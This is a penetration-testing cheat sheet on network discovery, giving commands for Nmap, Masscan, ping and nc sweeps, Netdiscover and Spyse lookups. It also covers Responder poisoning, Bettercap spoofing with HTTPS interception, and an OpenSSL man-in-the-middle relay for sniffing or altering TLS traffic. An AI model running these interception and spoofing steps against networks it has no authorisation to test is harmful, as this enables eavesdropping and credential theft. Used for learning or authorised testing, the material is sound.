network-discovery
Network Discovery
Summary
- Nmap
- Network Scan with nc and ping
- Spyse
- Masscan
- Netdiscover
- Responder
- Bettercap
- Reconnoitre
- SSL MITM with OpenSSL
- References
Nmap
- Ping sweep (No port scan, No DNS resolution)
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
-sn : Disable port scanning. Host discovery only.
-n : Never do DNS resolution- Basic NMAP
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs- CTF NMAP
This configuration is enough to do a basic check for a CTF VM
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result- Aggressive NMAP
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)- Using searchsploit to detect vulnerable services
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml- Generating nice scan report
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"- NMAP Scripts
nmap -sC : equivalent to --script=default
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /.git/HEAD: Git folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
| METASPLOITABLEbackup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| METASPLOITABLEbin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| METASPLOITABLEmsfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
List Nmap scripts : ls /usr/share/nmap/scripts/Network Scan with nc and ping
Sometimes we want to perform network scan without any tools like nmap. So we can use the commands ping and nc to check if a host is up and which port is open.
To check if hosts are up on a /24 range
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; doneTo check which ports are open on a specific host
for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; doneBoth at the same time on a /24 range
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "t192.168.1.$i has port $j open"; fi ; done ; fi ; doneNot in one-liner version:
for i in `seq 1 255`;
do
ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "192.168.1.$i is UP:";
for j in {21,22,80,139,443,445,3306,3389,8080,8443};
do
nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "t192.168.1.$i has port $j open";
fi ;
done ;
fi ;
doneSpyse
- Spyse API – for detailed info is better to check Spyse
- Spyse Wrapper
Searching for subdomains
spyse -target xbox.com --subdomainsReverse IP Lookup
spyse -target 52.14.144.171 --domains-on-ipSearching for SSL certificates
spyse -target hotmail.com --ssl-certificatesspyse -target "org: Microsoft" --ssl-certificatesGetting all DNS records
spyse -target xbox.com --dns-allMasscan
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services information
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr 'n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services information
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr 'n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IPReconnoitre
Dependencies:
- nbtscan
- nmap
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quickIf you have a segfault with nbtscan, read the following quote.
Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) – all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
Netdiscover
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD Responder
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
responder.py -I eth0 -wrfAlternatively you can use the Windows version
Bettercap
bettercap -X --proxy --proxy-https -T <target IP>
# better cap in spoofing, discovery, sniffer
# intercepting http and https requests,
# targetting specific IP onlySSL MITM with OpenSSL
This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl.
If you can modify /etc/hosts of the client:
sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client hostOn our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server):
openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pemOn our MITM server, we setup our infra:
mkfifo response
sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > responseIn this example, traffic is only displayed with tee but we could modify it using sed for example.
References
Related Posts
About The Author
